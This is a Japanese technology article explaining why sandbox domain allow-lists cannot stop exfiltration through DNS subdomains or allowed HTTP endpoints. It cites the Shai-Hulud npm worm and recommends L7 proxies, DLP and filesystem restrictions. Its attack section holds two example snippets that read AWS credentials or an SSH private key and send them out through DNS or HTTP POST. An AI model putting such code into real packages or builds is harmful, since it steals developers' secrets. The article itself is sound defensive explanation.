サンドボックスのネットワーク許可リストではデータ流出を防げない
サンドボックス環境でドメイン許可リストを設定しても、DNSサブドメイン経由やHTTPリクエストへのデータ埋め込みによる機密情報の流出を防げない問題を解説する。
信頼できないコードを安全に実行するという幻想 AIが生成したスクリプト、npmパッケージのインストールフック、他人のリポジトリからクローンしたビルドステップ──現代のソフトウェア開発では、信頼できないコードを日常的に実行している。
そのためにサンドボックス環境を導入し、ファイルシステムへのアクセスを制限し、ネットワーク通信を特定ドメインのみに絞り、危険なシステムコールを遮断する。これだけで多くの悪意ある動作を防げる──そう思いたいところだ。 しかし、このアプローチには致命的な盲点がある。ネットワークレベルのドメイン許可リスト（allow-list）は、データの「行き先」は制御できても、そこに運ばれる「中身」を見ることができない。この構造的な限界が、近年のサプライチェーン攻撃の文脈で深刻な問題として浮き彫りになっている。
サンドボックス「Canister」の開発で見えた課題 この問題を最初に指摘したのは、軽量な非特権Linuxサンドボックス「Canister」
を開発している技術者だ。Canisterは、user名前空間、seccomp、ネットワーク分離を組み合わせることで、root権限やコンテナランタイムなしにコマンドを隔離実行できるツールとして設計されている。 ただし、この盲点はCanister固有のものではない。ドメインベースのネットワークポリシーを持つサンドボックスすべてに当てはまる問題であり、現在主流のサンドボックスの多くがこの方式を採用している。
攻撃の手口：許可された通信経路でのデータ窃取 具体的な攻撃シナリオを見てみよう。
DNSサブドメイン経由のデータ流出 プロジェクトのセットアップでnpm installを実行するとしよう。正常な動作のためにregistry.npmjs.orgへのアクセスを許可リストに登録する。
インストールは問題なく完了する。 ところが、インストールした依存パッケージの中に以下のようなコードが含まれていたとしたらどうなるか。 ```javascript
const dns = require(‘dns’);
const secrets = require(‘fs’).readFileSync( process.env.HOME + ‘/.aws/credentials’, ‘utf8’
);
const encoded = Buffer.from(secrets).toString(‘base64’);
dns.resolve(${encoded.substring(0, 60)}.evil.example.com, () => {});
## HTTPリクエストへの秘密鍵の埋め込み ビルドスクリプトが許可された分析エンドポイントにログを送信するケースも考えてみよう。
```python
import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log", data={"log": base64.b64encode(token.encode()).decode()})
``` SSH秘密鍵がBase64でエンコードされ、ポリシーで許可されたエンドポイントにPOSTデータとして送信される。サンドボックスは正しく動作している。ネットワークフィルターも正しく機能している。それにもかかわらず、秘密情報が流出してしまう。
## 許可リストが防げないもの この問題の本質は、ネットワークレベルのポリシーが「通信の行き先」しか判断できない点にある。正当なAPI呼び出しと、HTTPヘッダーやリクエストボディに埋め込まれたエンコード済みの秘密情報を区別することは、ネットワークレイヤーだけでは不可能だ。
ドメイン許可リストは「誰と通信するか」を制御するが、「何を送るか」までは関知しない。これが、ネットワークレベルのポリシーだけでは解決できない根本的なギャップとなっている。
## 現実の脅威：サプライチェーン攻撃の実例 これは理論上の問題ではない。2025年11月、npmレジストリを標的としたワーム「Shai-Hulud」
が第二波攻撃（Sha1-Hulud）を実行し、Zapier、ENS Domains、PostHogなど多数の組織が影響を受けた。数百のパッケージが侵害されたこの攻撃では、マルウェアがpreinstallフェーズ中に実行され、資格情報スキャナーをインストールした上で、GitHubトークン、npmトークン、AWSキー、SSHキーを攻撃者が管理するリポジトリに窃取した。 ほぼ同時期には、PythonエコシステムのLLMツール関連プロジェクトにおいて、SQLインジェクション、認証バイパス、サーバーサイドテンプレートインジェクションといった複数の重大な脆弱性が公開され、これらを連鎖的に悪用することで資格情報を窃取できることが明らかになった。 これらは単発のインシデントではなく、パッケージレジストリを「資格情報の収集インフラ」として悪用するという明確なパターンの一部だ。許可リストは未承認のドメインをブロックできるが、正当なAPI呼び出しと、HTTPヘッダーにエンコードされた秘密情報を区別することはできない。
## 解決策への道筋：L7エグレスプロキシとDLP この記事の元となった技術ブログでは、ネットワークレイヤー（L3/L4）ではなくアプリケーションレイヤー（L7）
での検査が必要であることが指摘されている。具体的には、L7エグレスプロキシとデータ損失防止（DLP）機能の組み合わせだ。 L7プロキシはHTTPリクエストの内容を精査できるため、リクエストボディやヘッダーに機密情報が含まれていないかを検証できる。DNSリクエストのサブドメイン部分に異常に長い文字列やBase64パターンが含まれていないかを検出することも可能になる。 ただし、このアプローチにも課題がある。すべての通信をL7レベルで検査すると、パフォーマンスへの影響が避けられない。また、暗号化されたチャネルでのデータ流出を検出するには、TLSインスペクションなど追加の仕組みが必要になる。サンドボックス環境の設計思想である「最小権限」と「実行速度」とのバランスをどう取るかが、今後の重要なテーマとなるだろう。
## 開発者が今すぐ取るべき対策
現時点でネットワーク許可リストに完全に依存している開発者は、以下の対策を検討すべきだ。 第一に、依存パッケージのpreinstall/postinstallスクリプトの内容を事前に確認する習慣をつけることだ。npmの`--ignore-scripts`フラグや、lockfileの検査ツールの活用が有効な手段となる。 第二に、サンドボックス環境において機密ファイルへのアクセスをファイルシステムレベルで遮断することだ。ネットワーク制限だけでは不十分であり、認証情報や秘密鍵へのファイルパス自体をアクセス不可にする必要がある。 第三に、DNSリクエストの監視と制限だ。DNSはデータ流出の隠れた経路として悪用されやすいため、DNS-over-HTTPSの強制や、リゾルバーのログ監視を導入すべきだ。
## まとめ サンドボックス環境のネットワーク許可リストは、不正な通信先をブロックするうえでは有効な手段だが、許可された通信経路を通じたデータ流出を防ぐことは構造的に不可能だ。
近年のサプライチェーン攻撃の巧妙化を考えれば、ネットワークレイヤーだけに頼った防御はもはや不十分と言わざるを得ない。アプリケーションレイヤーでの内容検査や、ファイルシステムレベルのアクセス制御を組み合わせた多層防御の設計が、今後のセキュリティ対策の標準となる可能性が高い。 ---よくある質問
- ドメイン許可リストだけではなぜデータ流出を防げないのですか？
- 許可リストは「どのドメインと通信するか」しか制御できません。DNSサブドメインへの名前解決や、許可されたHTTPエンドポイントへのPOSTリクエストの中に、Base64でエンコードされた認証情報や秘密鍵を埋め込まれた場合、ネットワークレベルでは正当な通信として処理されてしまい、検出できないのです。
- npmのサプライチェーン攻撃に対して、個人開発者はどう対処すべきですか？
- 依存パッケージのインストールスクリプト（preinstallやpostinstall）の内容を事前に確認し、`--ignore-scripts`オプションの使用を検討してください。また、AWS認証情報やSSH鍵などの機密ファイルがサンドボックス環境からアクセスできないよう、ファイルシステムレベルでアクセスを遮断することも重要です。
- L7エグレスプロキシとは何ですか？
- ネットワーク通信をアプリケーションレイヤー（HTTPやDNSのプロトコルレベル）で検査するプロキシのことです。リクエストのヘッダーやボディの内容を精査できるため、エンコードされた機密情報の流出を検出できる可能性があります。ただし、パフォーマンスへの影響やTLSインスペクションの導入といった課題もあります。
コメント